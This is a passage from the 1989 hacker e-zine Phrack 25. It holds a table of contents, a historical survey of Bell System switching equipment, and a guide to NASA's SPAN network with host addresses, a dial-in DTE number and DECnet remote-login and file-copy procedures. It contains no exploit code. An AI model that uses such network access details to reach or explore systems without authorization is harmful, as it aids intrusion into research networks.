9. Lifting Ma Bell's Cloak Of Secrecy by VaxCat

10. Network Progression by Dedicated Link

11. Phrack World News XXIV/Part 1 by Knight Lightning

12. Phrack World News XXIV/Part 2 by Knight Lightning

13. Phrack World News XXIV/Part 3 by Knight Lightning

Phrack 25 (March 29, 1989)

1. Phrack Inc. XXV Index by Taran King and Knight Lightning

2. 25th Anniversary Index by Knight Lightning, Taran King, and other friends 3. Bell Network Switching Systems by Taran King

4. SPAN: Space Physics Analysis Network by Knight Lightning

5. Unix Cracking Tips by Dark OverLord

6. Hiding Out Under Unix by Black Tie Affair

7. The Blue Box And Ma Bell by The Noid

8. Hacking: What's Legal And What's Not by Hatchet Molly

9. Phrack World News XXV/Part 1 by Knight Lightning

10. Phrack World News XXV/Part 2 by Knight Lightning

11. Phrack World News XXV/Part 3 by Knight Lightning

Bell Network Switching Systems

==Phrack Inc.==

Volume Three, Issue 25, File 3 of 11

Bell Network Switching Systems

An Informational Definitive File

By Taran King

March 14, 1989

Throughout my many conversations with what many consider the "elite" of the community, I have come to realize that even the highest up on the hierarchical map do not know all of the little differences and specificities of the switching systems that the BOCs use throughout the nation. This file was written so that people could understand the differences between their switch and those switches in areas where they have friends or that they pass through.

There are two broad categories that switches can be separated into: local and tandem. Local offices connect customer lines to each other for local calls and connect lines to trunks for interoffice calls. Tandem switching is subdivided into two categories: local tandem offices and toll offices. Local toll offices connect trunks to trunks within a metropolitan area whereas toll offices connect trunks to trunks from the toll network portion (class 1 to 4) of the hierarchical Public Switched Telephone Network (PSTN).

Because of the convenience of having direct interface with customer lines, local switching has built in functions needed to provide exchange services such as local calling, custom calling features, Touch‑Tone service, E911 service, and exchange business services (like Centrex, ESSX‑1, and ESS‑ACD. Centrex is a service for customers with many stations that is provided out of the Central Office. ESSX‑1 service limits the number of simultaneous incoming and outgoing calls and the number of simultaneous intragroup calls to software sizes specified by the customer. ESS‑ACD is the exchange service equivalent to Automatic Call Distribution except the call distribution takes place in a Centrex‑functioning portion of the electronic switch.)

Geographic centralization of the tandem office allows efficiency in providing centralized billing and network services.

Automatic switching was formally installed by the Bell System in 1919 and although there are many replacements that update old and less preferable services, many older offices still exist in various parts of the country.

ELECTROMECHANICAL SWITCHING SYSTEMS

The Step By Step (SXS) switching system, also known as the Strowger system, was the earliest switching system. Invented by A. B. Strowger in 1889, it is currently used in rural and suburban areas around the country as well as some metropolitan areas which were small when the switch was installed. The term "Step By Step" describes both the manner in which the switching network path is established and the way in which each of the switches in the path operates. They combine vertical stepping and a horizontal rotary stepping motion to find the number dialed through pulse. The drawbacks of the SXS system include not being able to have Touch Tone calling or alternative routing without adding expensive equipment to the office and also that the customer's telephone number is determined by the physical termination/location of the line or connector on the system. The line cannot be moved without changing the telephone number. The other drawback is the high maintenance cost. These reasons, among others, have led to a drop in the amount of SXS systems seen around the country.

The No. 1 Crossbar (XBAR) was developed for use in metropolitan areas. The XBAR system uses horizontal and vertical bars to select the contacts. There are five selecting bars mounted horizontally across the front of each XBAR switch. Each selecting bar can choose either of two horizontal rows of contacts. The five horizontal selecting bars can therefore select ten horizontal rows of contacts. There are ten or twenty vertical units mounted on the switch and each vertical unit forms one vertical path. Each switch has either 100 or 200 sets of crosspoints/contacts depending on the number of vertical units.

The No. 5 Crossbar was developed to fill the need for a switching system that would be more productive in suburban residential areas or smaller cities. The No. 5 XBAR also included automatic recording of call details for billing purposes to allow for DDD (Direct Distance Dialing). The No. 5 XBAR is separated into 2 parts: the switching network where all the talking paths are established and the common‑control equipment which sets up the talking paths. Various improvements have been made on the No. 5 XBAR over the years such as centralized automatic message accounting, line link pulsing to facilitate DID (Direct Inward Dialing) to stations served by a dial PBX (Private Branch Exchange), international DDD, Centrex service, and ACD capability. The No. 5 Electronic Translator System (ETS) was also a development which used software instead of wire cross‑connections to provide line, trunk, and routing translations as well as storing billing information for transmissions via data link to a centralized billing collection system.

The No. 4 Crossbar is a common‑control system designed for toll service with crossbar switches making up its switching network. The No. 4A XBAR system was designed for metropolitan areas and added the ability to have CAMA (Centralized Automatic Message Accounting) as well as foreign‑area translation, automatic alternate routing, and address digit manipulation capabilities (which is converting the incoming address to a different address for route control in subsequent offices, deleting digits, and prefixing new digits if needed). The No. 4A ETS replaced the card translator (which was used for translation via phototransistors) and allowed billing and route translation functions to be changed by teletypewriter input as it was a stored‑program control processor. CCIS (Common Channel Interoffice Signaling) was added to the No. 4A XBAR in 1976 for more efficient signaling between toll offices among other things.

ELECTRONIC SWITCHING SYSTEMS

The Electronic Switching Systems were made possible by the invention of the transistor. They apply the basic concepts of an electronic data processor, operating under the direction of a stored‑program control, and high‑speed switching networks. The stored‑program control allows system designs the necessary flexibility to design new features and install them easily. The SPC controls the sequencing of operations required to establish a call. It can control a line or trunk circuit according to its application.

The first electronic switching trial took place in Morris, IL in 1960. The first application of electronic local switching in the Bell System took place in May of 1965 with the cutover of the first 1ESS switch in Succasunna, NJ.

The 1ESS switching system was designed for areas where large numbers of lines and lines with heavy traffic are served. It generally serves between 10,000 and 65,000 lines. The memory of the 1ESS is generally read only memory (ROM) so that neither software or hardware malfunctions can alter the information content.

The 1A Processor was introduced in 1976 in the first 1AESS switch. It was designed for local switching applications to be implemented into a working 1ESS switch. It allowed the switching capacity to be doubled from the old 1ESS switches also. The 1A Processor uses both ROM and RAM (Random Access Memory). Magnetic tape units in the 1A Processor allow for system reinitialization as well as detailed call billing functions.

Both the 1ESS and the 1AESS switches use the same peripheral equipment which allows for easy transition. Programs in both switches control routine tests, diagnose troubles, detect and report faults and troubles, and control emergency actions to ensure satisfactory operation. Both switches offer the standard custom calling features as well as business features like Centrex, ESS‑ACD, Enhanced Private Switched Communications Service or ETS (Electronic Tandem Switching).

The 2ESS was designed to extend electronic switching into suburban regions but doing so economically, meeting the need for 2,000 to 10,000 line offices. It has a call capacity of 19,000 with a maximum of 24,000 terminals per system. One of the differences between the 1ESS and the 2ESS is that in the 2ESS, lines and trunks terminate on the same side of the network, which is called a folded network. There is no need for separate line and trunk link networks as in the 1ESS. Also, the network architecture was designed to interface with customer lines carrying lighter traffic, the features were oriented toward residential rather than business lines, and the processor was smaller and less expensive.

In 1976, the first 2BESS switch was introduced in Acworth, GA. The 2BESS switch is similar to the 1AESS in that it has something added into the switch. In this case, though, it is the 3ACC (3A Central Control), which is in the place of the processor. The 3ACC doubles the call capacity originally available in the 2ESS switch by combining integrated circuit design with semiconductor memory stores. It also requires one‑fifth of the floor space and one‑sixth of the power and air conditioning that the 2ESS central processor requires. The 3ACC is a self‑checking, microprogram‑controlled processor capable of high‑speed serial communication. Resident programs in the 3ACC are hardware write‑protected, but non‑resident programs like maintenance, recent change (RC), and back‑up for translations or residential programs are stored on a tape cartridge.

Also in 1976, the need for switching in rural areas serving fewer than 4500 lines resulted in the introduction of the 3ESS switch. The 3ESS switching equipment is the smallest Western Electric space‑division, centralized electronic switching system which serves 2,000 to 4,500 lines. The 3ACC is used as the processor in the 3ESS, which was designed to meet the needs of a typical Community Dial Office (CDO). It, too, is a folded network like the 2ESS and 2BESS. The switch was designed for unattended operation, implementing extensive maintenance programs as well as remote SCCS (Switching Control Center System) maintenance capabilities.

The 4ESS switching equipment is a large‑capacity tandem system for trunk‑to‑trunk interconnection. It forms the heart of the Stored‑Program Control (SPC) network that uses CCIS (Common‑Channel Interoffice Signaling) yet still supports Multi‑Frequency (MF) and Dial‑Pulse (DP) signaling. The SPC network allows for features such as the Mass Announcement System (MAS) (which is where we find all of our entertaining 900 Dial‑It numbers) and WATS (Wide‑Area Telecommunications Services) screening/routing. The 4ESS also provides international gateway functions. It uses a 1A Processor as its main processor, which, along with its use of core memories and higher speed logic, is about five times as fast as the 1ESS processor. The 4ESS software structure is based on a centralized development process using three languages: a low‑level assembly language, the intermediate language called EPL (ESS Programming Language), and a high level language called EPLX. The assembly language takes care of real‑time functions like call processing while measurements and administrative functions frequently are programmed in EPL. Some maintenance programs and audits which are not as frequently run are in EPLX. Up to six 4ESS switches can be remotely administered and maintained from centralized work centers which means that very few functions need to be performed at the site of the switch itself.

In March of 1982, the 5ESS switch first went into operation. It is a digital time‑division electronic switching system designed for modular growth to accommodate local offices ranging from 1,000 to 100,000 lines. It was designed to replace remaining electromechanical switching systems in rural, suburban, and urban areas economically. Features of new generic versions of the program allowed multimodule configuration and local/toll features for combined class 4 and class 5 operation. The 5ESS administrative module processor consists of two 3B20s. The communications module consists of a message switch and a TMS (Time‑Multiplexed Switch), which is used to connect voice channels in one interface module to voice channels in another interface module as well as for data messages between the administrative modules and interface modules and also is used for data messages between interface modules. The interface module can host analog line/trunk units, digital line/trunk units, digital carrier line units, digital service circuit units, or metallic service units in addition to miscellaneous test and access units. There are 2 software divisions in the 5ESS. The portion in the administrative module processor is responsible for officewide functions such as the human interfaces, routing, charging, feature translations, switch maintenance, and data storage and backup. The portion in the interface module is responsible for the standard call‑processing functions associated with the lines and trunks terminating on that interface module. Most software is written in C and has a modular structure to afford easy expansion and maintenance.

The last thing to mention here are Remote Switching Systems (RSS) and Remote Switching Modules (RSM). The No. 10A RSS is designed to act as an extension of a 1ESS, 1AESS, or 2BESS switching equipment host and is controlled remotely by the host over a pair of dedicated data links. It shares the processor capabilities of these nearby ESS switches and uses a microprocessor for certain control functions under the direction of the host central processor. The RSS is capable of stand‑alone functioning if the links between it and the host are severed somehow. If this occurs, though, custom calling, billing, traffic measurements, etc. are unavailable ‑‑ only basic service on intra‑RSS calls is allowed. The No. 5A RSM can be located up to 100 miles from the 5ESS host and can terminate a maximum of 4000 lines with a single interface module. Several RSMs can be interconnected to serve remote offices as large as 16,000 lines. It is a standard 5ESS system interface module with the capability for stand‑alone switching capability if the host‑remote link fails. One difference from the RSS of the RSM is the ability to use direct trunking, whereas the RSS requires that all interoffice calls pass through the host switch.

Of course, there are many other switches out there, but these are the basic Western Electric switches provided for the Bell System. The following is a time‑table to summarize the occurrences of SPC switching systems that have been used by BOCs and AT&T:

1965 The 1ESS used for local metropolitan allows 65,000 lines and 16,000 trunks.

1968 The 1ESS expands for local metropolitan and local tandem. 1970 The 2ESS used for local suburban has 30,000 lines and trunks together. 1974 The 1ESS allows 2‑wire toll switching.

1976 The 4ESS uses large 4‑wire toll for use of 100,000 trunks. 1976 The 1AESS for large metropolitan local use has 90,000 lines and 32,000 trunks

1976 The 2BESS for local suburban use has 30,000 lines and trunks together. 1976 The 3ESS for local rural use has 5,800 lines and trunks together. 1977 The 1AESS using 4‑wire toll.

1979 The 1AESS has local, tandem, and toll capability.

1979 The 10A RSS is for local small rural areas with 2,000 lines. 1982 The 5ESS for local rural to large metropolitan areas with tandem and toll capabilities has from 150,000 lines and 50,000 trunks to 0 lines and 60,000 trunks.

SPAN

==Phrack Inc.==

Volume Three, Issue 25, File 4 of 11

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

=‑=

=‑= S P A N =‑=

=‑=

=‑= Space Physics Analysis Network =‑=

=‑=

=‑= Brought To You by Knight Lightning =‑=

=‑=

=‑= March 15, 1989 =‑=

=‑=

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Preface

~~~~~~~

In the spirit of the Future Transcendent Saga, I continue to bring forth information about the wide area networks. The information presented in this file is based primarily on research. I do not have direct access to SPAN other than through TCP/IP links, but this file should provide you with general information with which to properly use the Space Physics Analysis Network.

Introduction

~~~~~~~~~~~~

The Space Physics Analysis Network (SPAN) has rapidly evolved into a broadly based network for cooperative, interdisciplinary and correlative space and Earth science data analysis that is spaceflight mission independent. The disciplines supported by SPAN originally were Solar‑Terrestrial and Interplanetary Physics. This support has been expanded to include Planetary, Astrophysics, Atmospherics, Oceans, Climate, and Earth Science.

SPAN utilizes up‑to‑date hardware and software for computer‑to‑computer communications allowing binary file transfer, mail, and remote log‑on capability to over 1200 space and Earth science computer systems in the United States, Europe, and Canada. SPAN has been reconfigured to take maximum advantage of NASA's Program Support Communication Network (PSCN) high speed backbone highway that has been established between its field centers. In addition to the computer‑to‑computer communications which utilizes DECnet, SPAN provides gateways to the NASA Packet Switched System (NPSS), GTE/Telenet, JANET, ARPANET, BITNET and CSNET. A major extension for SPAN using the TCP/IP suite of protocols has also been developed.

This file provides basic information on SPAN, it's history, architecture, and present guidelines for it's use. It is anticipated that SPAN will continue to grow very rapidly over the next few years. Several existing wide‑area DECnet networks have joined with SPAN to provide a uniform internetwork structure and more will follow.

History Of The SPAN and the Data Systems Users Working Group (DSUWG)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A considerable evolution has occurred in the past two decades in the way scientific research in all disciplines is done. This is particularly true of NASA where early research was centered around exploratory missions in which measurements from individual scientific instruments could be meaningfully employed to advance the state of knowledge. As these scientific disciplines have progressed, a much more profound and interrelated set of questions is being posed by researchers. The result is that present‑day investigations are generally much more complex. For example, within the space science community large volumes of data are acquired from multiple sensors on individual spacecraft or ground‑based systems and, quite often, data are needed from many institutions scattered across the country in order to address particular physical problems. It is clear that scientific research during the late 1980s and beyond will be devoted to intense multi‑disciplinary studies aimed at exploring very complex physical questions. In general, the need for researchers to exchange data and technical information in a timely and interactive way has been increasing.

The problems of data exchange are exacerbated by the lack of standards for scientific data bases. The net result is that, at present, most researchers recognize the value of multi‑disciplinary studies, but the cost in time and effort is devastating to their research efforts. This trend is antithetical to the needs of the NASA research community. SPAN is only one of many research networks that are just beginning to fill a need for access to remote capabilities that are not obtainable locally.

In May of 1980 the Space Plasma Physics Branch of the Office of Space Science of NASA Headquarters funded a project at Marshall Space Flight Center (MSFC) to investigate ways of performing correlative space plasma research nationwide on a daily basis. As a first step, a user group was formed called the Data Systems Users Working Group (DSUWG) to provide the space science community interaction and direction in the project. After the first meeting of the DSUWG in September 1980, it was decided that the approach would be to design, build, and operate a spacecraft mission independent science network as a test case. In addition, the construction of the system would be designed to use existing data analysis computer systems at space physics institutions and to take full advantage of "off‑the‑shelf" software and hardware.

The Space Physics Analysis Network (SPAN) first became operational in December 1981 with three major nodes:

o University of Texas at Dallas

o Utah State University

o MSFC

Since that time it has grown rapidly. Once operational, SPAN immediately started to facilitate space‑data analysis by providing electronic mail, document browsing, access to distributed data bases, facilities for numeric and graphic data transfer, access to Class VI machines, and entry to gateways for other networks.

The DSUWG continues to provide guidance for SPAN growth and seeks to identify, promote, and implement appropriate standards for the efficient management and exchange of data, related information, and graphics. All SPAN member organizations are expected to participate in the DSUWG. The basic composition of the DSUWG is a representative scientist and computer systems manager (who has the networking responsibility) at each of the member institutions. DSUWG meetings are held regularly at approximately nine month intervals.

The DSUWG is structured along lines conducive to addressing major outstanding problems of scientific data exchange and correlation. There is a chairman for each subgroup to coordinate and focus the group's activities and a project scientist to oversee the implementation of the DSUWG recommendations and policies. The working group itself is divided into several subgroups which address issues of policy, networking and hardware, software and graphics standards, and data base standards.

The DSUWG is a dynamic, evolving organization. We expect members to move in (or out) as appropriate to their active involvement in data related issues. We also realize that at present SPAN and the DSUWG are dealing with only a limited portion of the whole spectrum of problems facing the NASA research community. As present problems are solved, as the network evolves, and as new issues arise, we look to the DSUWG to reflect these changes in it's makeup, structure, and focus.

The SPAN is currently managed by the National Space Science Data Center (NSSDC) located at Goddard Space Flight Center (GSFC). All SPAN physical circuits are funded by the Communication and Data Systems Division at NASA Headquarters. Personnel at the NSSDC facility, at the NASA SPAN centers, and the remote institutions work in unison to manage and maintain the network.

Network Configuration and Evolution

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The initial topology for SPAN was a modified star where all communication with the remote institutions came to a major central switching or message routing node at MSFC. This topology served the network well until many new nodes were added and more scientists became accustomed to using the network. As data rate demands on the network increased, it was apparent that a new topology using lines with higher data rates was needed. Toward this end, a new communication architecture for SPAN was constructed and implemented.

The current structure of SPAN in the United States is composed of an interconnected four‑star, mesh topology. Each star has, as its nucleus, a SPAN routing center. The routing centers are located at GSFC, MSFC, Jet Propulsion Lab (JPL), and Johnson Space Center (JSC). The routing centers are linked together by a set of redundant 56 kbps backbone circuits. Tail circuits, at speeds of 9.6 kbps (minimum line speed), are connected to each routing center and and into the SPAN backbone.

Most remote institutions have local area networks that allow a number of different machines to be connected to SPAN. Regardless of a machine's position in the network, all computers on SPAN are treated logically equal. The main goal of the new SPAN architecture is for a node that is located across the country through two routing centers to be as transparently accessible as a SPAN node sharing the same machine room with the originating system. This ease of use and network transparency is one of SPAN's greatest assets.

The new configuration allows for rapid expansion of the network via the addition of new tail circuits, upgrade to existing tail circuits, and dynamic dialing of higher data‑rate backbone circuits Implementation of this new configuration began in July 1986, and the new topology was completed in November 1986, although there are new circuits being added on a continuing basis. It is expected that a fifth routing center located at Ames Research Center.

Nearly all of the machines on SPAN are linked together using the commercially available software package DECnet. DECnet allows suitably configured computers (IBM‑PCs and mainframes, SUN/UNIX workstations, DEC/PROs, PDPs, VAXs, and DECSYSTEMs) to communicate across a variety of media (fiber optics, coax, leased telephone lines, etc.) utilizing a variety of low level protocols (DDCMP, Ethernet, X.25). There are also several institutions that are connected through Janus hosts which run more then one protocol.

SPAN links computers together and touches several other networks in the United States, Europe, and Canada that are used for data analysis on NASA spaceflight missions and other NASA related projects. At this time, there are well over 1200+ computers that are accessible through SPAN.

DECnet networks has been accomplished by the unprecedented, successful cooperation of the network management of the previously separate networks. For example, the International High Energy Physics Network (HEPNET), the Canadian Data Analysis Network (DAN) and the Texas University Network (TEXNET) now have nonconflicting network addresses. Every node on each of these networks is as accessible to SPAN users as any other SPAN node. The mutual cooperation of these WANs has given enhanced capabilities for all.

There are several capabilities and features that SPAN is developing, making it unique within the NASA science community. The SPAN system provides remote users with access to science data bases and brings scientists throughout the country together in a common working environment. Unlike past NASA mission networks, where the remote sites have only remote terminals (supporting one person at the remote site at a time), SPAN supports many users simultaneously at each remote node through computer‑to‑remote computer communications software. Users at their institutions can participate in a number of network functions involving other remote computer facilities. Scientific papers, data and graphics files can easily be transferred between network nodes. This significantly reduces the time it takes to perform correlative work when authors are located across the country or ocean. As an introduction to SPAN's network wide capabilities. More advanced users are referred to the DEC DECnet User's Manual.

SPAN will continue to be used as a test case between NASA science investigators with the intent of exploring and employing modern computer and communication technology as a tool for doing NASA science research. This can be accomplished because SPAN is not a project dependent system that requires a static hardware and software configuration for the duration of a mission. SPAN has provided a quick reaction capability for several NASA and ESA missions. Each of these missions needed to rapidly move near real‑time ground and spacecraft observations to a variety of destinations for analysis and mission planning. Because of SPAN's great success, new NASA spaceflight missions are seriously looking into creating networks with similar capabilities that are internetworked with SPAN.

Within the next few years, new developments in software and hardware will be implemented on SPAN that will continue to aid NASA science research. It is anticipated that SPAN will greatly improve its access to gateways into Europe and other locations throughout the world. As a natural evolution, SPAN will migrate toward the International Standards Organization's (ISO) Open Systems Interconnect (OSI) protocol as the software becomes available. It is expected that the ISO/OSI protocol will greatly enhance SPAN and increase the number of heterogeneous computer systems accessible.

Security And Conduct On The Network

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Misconduct is defined as:

1. Any unauthorized access or use of computers on the network, 2. Attempts to defeat computer security systems (e.g. violating a captive account),

3. Repeated login failures to computers or privileged accounts to which the user is not authorized to use,

4. Massive file transfers from a given site without prior consent and coordination with the appropriate SPAN routing centers.

The network is monitored very closely, and it is relatively simple to spot an attempted break‑in and then track down the source. When a violation is found, the matter will be reported to the DSUWG steering committee and the SPAN line will be in immediate danger of being disconnected. If the situation cannot be resolved to the satisfaction of both the DSUWG steering committee and network management, the SPAN line to the offending site will be reviewed for the possibility of permanent disconnection. In short, NASA pays for the communications lines and will not tolerate misconduct on the network.

SPAN Network Information Center (SPAN‑NIC)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The SPAN‑NIC is located at the National Space Science Data Center in Greenbelt, Maryland. The purpose of the SPAN‑NIC is to provide general user services and technical support to SPAN users via telephone, electronic mail, and postal mail.

As SPAN has grown exponentially over recent years, it was realized that a central organization had to be developed to provide users with technical assistance to better utilize the resources that the network provides. This is accomplished by maintaining and distributing relevant technical documents, providing user assistance on DECnet related questions, monitoring traffic on the network, and maintaining an online data base of SPAN node information. More specific information on becoming a SPAN site, beyond that provided in this document, can also be obtained through SPAN‑NIC.

The SPAN‑NIC uses a VAX 8650 running VMS as its host computer. Users wishing to use the online information services can use the account with the username SPAN_NIC. Remote logins are capable via SET HOST from SPAN, TELENET from ARPANET and by other procedures detailed later.

SPAN‑NIC DECnet host address: NSSDCA or 6.133

SPAN‑NIC ARPANET host address: NSSDC.ARPA or 128.183.10.4

SPAN‑NIC GTE/TELENET DTE number: 311032107035

An alternative to remote login is to access online text files that are available. These text files reside in a directory that is pointed to by the logical name "SPAN_NIC:". Example commands for listing this directory follow:

From SPAN: $ DIRECTORY NSSDCA::SPAN__NIC:

From ARPA: FTP> ls SPAN__NIC:

The available files and a synopsis of their contents can be found in the file "SPAN_NIC:SPAN_INDEX.TXT". Once a file is identified, it can be transferred to the remote host using the VMS COPY command, or the FTP GET command. It is important to note that this capability will be growing significantly not only to catch up to the current SPAN configuration but also keep current with its growth.

DECnet Primer

~~~~~~~~~~~~~

The purpose of the SPAN is to support communications between users on network nodes. This includes data access and exchange, electronic mail communication, and sharing of resources among members of the space science community.

Communication between nodes on the SPAN is accomplished by means of DECnet software. DECnet software creates and maintains logical links between network nodes with different or similar operating systems. The operating systems currently in use on SPAN are VAX/VMS, RSX, and IAS. DECnet provides network control, automatic routing of messages, and a user interface to the network. The DECnet user interface provides commonly needed functions for both terminal users and programs. The purpose of this section of the file is to provide a guide on the specific implementation of DECnet on SPAN and is not intended to supercede the extensive manuals on DECnet already produced by DEC.

DECnet supports the following functions for network users:

1. TASK‑TO‑TASK COMMUNICATIONS: User tasks can exchange data over a network logical link. The communicating tasks can be on the same or different nodes. Task‑to‑ task communication can be used to initiate and control tasks on remote nodes.

2. REMOTE FILE ACCESS: Users can access files on remote nodes at a terminal or within a program. At a terminal, users can transfer files between nodes, display files and directories from remote nodes, and submit files containing commands for execution at a remote node. Inside a program, users can read and write files residing at a remote node.

3. TERMINAL COMMUNICATIONS: RSX and IAS users can send messages to terminals on remote RSX or IAS nodes. This capability is available on VMS nodes by using the PHONE utility.

4. MAIL FACILITY: VMS users can send mail messages to accounts on remote VMS nodes. This capability is currently available for RSX and IAS nodes but is not supported by DEC. There are slight variations for RSX and IAS network mail compared to VMS mail.

5. REMOTE HOST: VMS, RSX, and IAS users can log‑on to a remote host as if their terminals were local.

Network Implementations For DECnet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The SPAN includes implementations for RSX, IAS and VAX/VMS operating systems. DECnet software exists at all the SPAN nodes and it allows for the communication of data and messages between any of the nodes. Each of the network nodes has a version of DECnet that is compatible with the operating system of that node. These versions of DECnet have been presently developed to different extents causing some nodes to have more or less capabilities than other nodes. The version or "phase" of the DECnet, as it is called, indicates the capability of of that node to perform certain levels of communication. Since RSX and IAS implementations are almost identical, they are described together.

Users need not have any special privileges (VAX/VMS users will need the NETMBX privilege on their account) to run network tasks or create programs which access the network. However users must supply valid access control information to be able to use resources. The term "access control" refers to the user name and password of an account (local or on a remote node).

Online system documentation is a particularly important and valuable component of DEC systems. At the present, SPAN is comprised almost completely of DEC systems. An extensive set of system help files and libraries exists on all the SPAN DEC nodes. The HELP command invokes the HELP Utility to display information about a particular topic. The HELP utility retrieves help available in the system help files or in any help library that you specify. You can also specify a set of default help libraries for HELP to search in addition to these libraries.

Format: HELP [keyword [...]]

On many systems, new users can display a tutorial explanation of HELP by typing TUTORIAL in response to the "HELP Subtopic?" prompt and pressing the RETURN key.

Utilities for DECnet‑VAX

~~~~~~~~~~~~~~~~~~~~~~~~

VAX terminal users have several utility programs for network communications available from the VMS operating system. Documentation for most of these utilities can be found in the Utility Reference Manual of the VAX/VMS manual set, and each utility has extensive online help available. The following descriptions offer a brief introduction to these utilities:

MAIL: The VAX/VMS mail utility allows you to send a message to any account or to a series of accounts on the network. To send a message, you must know the account name of the person you wish to contact and his node name or node number. (This will be covered more extensively later in this file).

FINGER: The DECUS VAX/VMS Finger utility has been installed on a number of SPAN VAX/VMS systems. Finger allows a user to see who is doing what, both on his machine and on other machines on the network that support Finger. Finger also allows a user to find information about the location and accounts used by other users, both locally and on the network. The following is an example session using the FINGER utility.

$ FINGER

NSSDCA VAX 8600, VMS V4.3. Sunday, 28‑Sep‑1986 19:55,4 Users,0 Batch. Up since Sunday, 28‑Sep‑1986 14:28

Process Personal name Program Login Idle Location

HILLS H.Kent Hills Tm 19:02 NSSDC.DECnet _RTA4: Dr. Ken Klenk Tm 17:55 NSSDC.DECnet _NVA1: Michael L. Gough Mail 15:13

SPAN Man Joe Hacker Finger 17:33 bldg26/111

$ FINGER SWAFFORD@NSSDCA

[NSSDCA.DECnet]

NSSDCA VAX/VMS, Sunday, 28‑Sep‑1986 19:55

Process Personal name Program Login Idle Location

SPAN Man Finger 17:33

Logged in since: Sunday, 28‑Sep‑1986 17:33

Mail: (no new mail)

Plan:

Joe Hacker, SPAN Hackers Guild

Telephone: (800)555‑6000

If your VAX supports VMS Finger, further information can be found by typing HELP FINGER. If your system does not currently have the FINGER utility, a copy of it is available in the form of a BACKUP save set in the file: NSSDCA::SPAN_NIC:FINGER.BCK

PHONE: The VAX/VMS PHONE utility allows you to have an interactive conversation with any current user on the network. This utility can only be used on video terminals which support direct cursor positioning. The local system manager should know if your terminal can support this utility. To initiate a phone call, enter the DCL command PHONE. This should clear the screen and set up the phone screen format. The following commands can be executed:

DIAL nodename::username

Places a call to another user. You must wait for a response from that user to continue. DIAL is the default command if just nodename::username is entered.

ANSWER Answers the phone when you receive a call.

HANGUP Ends the conversation (you could also enter a CTRL/Z).

REJECT Rejects the phone call that has been received.

DIR nodename::

Displays a list of all current users on the specified node. This command is extremely useful to list current users on other nodes of the network.

FACSIMILE filename

Will send the specified file to your listener as part of your conversation.

To execute any of these commands during a conversation, the switch hook character must be entered first. By default, that character is the percent key.

REMOTE FILE ACCESS: DCL commands that access files will act transparently over the network. For example, to copy a file from a remote node:

$copy

From: node"username password"::disk:[directory]file.lis

To: newfile.lis

This will copy "file.lis" in "directory" on "node" to the account the command was issued in and name it "newfile.lis". The access information (user name and password of the remote account) is enclosed in quotes. Note that you can also copy that same file to any other node and account you desire. For another example, to obtain a directory listing from a remote node, use the following command:

$dir node::[directory] (if on the default disk)

Utilities for DECnet‑11M/DECnet‑IAS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There are certain DECnet functions that can only be done on nodes that have the same type of operating systems, such as the MPB, TRW, SPRL, LASR, and UTD nodes all with an RSX‑11M operating system. The capabilities offered to the RSX DECnet user can be broken down into two major categories: those functions for terminal users and those functions for FORTRAN programmers.

DECnet‑11M terminal users have several utility programs available to them which allows logging onto other machines in the network, file transfers, message communication, and network status information.

REMOTE‑LOGON: The REMOTE‑LOGON procedure allows a user at a node to log‑on to another node in the network. This capability is also called virtual terminal. The "SET /HOST=nodename" command allows the user to log‑on to adjacent nodes in the network from a DECnet‑11M node. This command is initiated by simply typing "SET /HOST=nodename". The "SET HOST" command on the SPAN‑VAX also allows you to log‑on to adjacent nodes.

NETWORK FILE TRANSFER: NFT is the Network File Transfer program and is part of the DECnet software. It is invoked by typing NFT <CR> to file = from file or by typing NFT to file = from file. Embedded in the file names must be the node name, access information, and directory if it is different than the default conventions. Also note that file names can only be 9 (nine) characters long on RSX systems.

Therefore, VAX/VMS files with more than 9 characters will not copy with default‑file naming. In such a case you must explicitly name the file being copied to an RSX system. The following structure for the file names must be used when talking to the SPAN nodes with NFT.

NODE/username/password::Dev:[dir.sub‑dir]file.type

The following NFT switches are very useful:

/LI Directory listing switch. /AP Appends/adds files to end of existing file. /DE Deletes one or more files. /EX Executes command file stored on remote/local

node.

/SB Submits command file for execution

(remote/local).

/SP Spools files to the line printer (works only with

"like" nodes).

A particular use for NFT is for the display of graphics files on the network. It is important to note, however, that some device‑dependent graphics files are not all displayable, such as those generated by IGL software. The graphic files generated by graphic packages that are displayable when residing at other nodes may be displayed by using the following input:

NFT> TI:=SPAN/NET/NET::[NETNET.RIMS]D1364.COL

Graphics files generated by IGL can be displayed by running either REPLAY or NETREP programs (see the net‑library documentation).

TERMINAL COMMUNICATIONS: TLK is the Terminal Communications Utility which allows users to exchange messages through their terminals. TLK somewhat resembles the RSX broadcast command but with more capabilities. TLK currently works only between RSX‑11 nodes and within a RSX‑11 node. There are two basic modes of operation for TLK: The single message mode and the dialogue mode.

The single message mode conveys short messages to any terminal in the same node or remote node. The syntax for this operation is:

>TLK TARGETNODE::TTn:‑‑Message‑‑

To initiate the the dialogue mode type:

>TLK TARGETNODE::TTn<cr>

When you receive the TLK> prompt, you can enter a new message line.

Graphics Display Utilities

~~~~~~~~~~~~~~~~~~~~~~~~~~

One of the main objectives of the SPAN system project is to accommodate coordinated data analysis without leaving one's institution. Therefore, there is a strong need to develop the ability to have graphic images of data from any node to be displayed by any other node. The current inability to display data on an arbitrary graphics device at any node has been quickly recognized. As general network utilities are developed to support the display of device dependent and independent graphic images, the handbook SPAN Graphics Display Utilities Handbook will serve to document their use and limitations. The graphics handbook is a practical guide to those common network facilities which will be used to support network correlative studies from the one‑to‑one to the workshop levels. For each graphics software utility the handbook contains information necessary to obtain, use, and implement the utility.

Network Control Program

~~~~~~~~~~~~~~~~~~~~~~~

NCP is the Network Control Program and is designed primarily to help the network manager. However, there are some NCP commands which are useful for the general user. With these commands, the user can quickly determine node names and whether nodes are reachable or not. Help can be obtained by entering NCP>HELP and continuing from there. For a complete listing of all the NCP commands that are available to nonpriviledged users, refer to the NCP Utility manual on VAXs, and the NCP appendix of the DECnet‑11M manual for PDPs. The following two commands are probably the most beneficial to users:

$ RUN SYS$SYSTEM:NCP !on VAXs

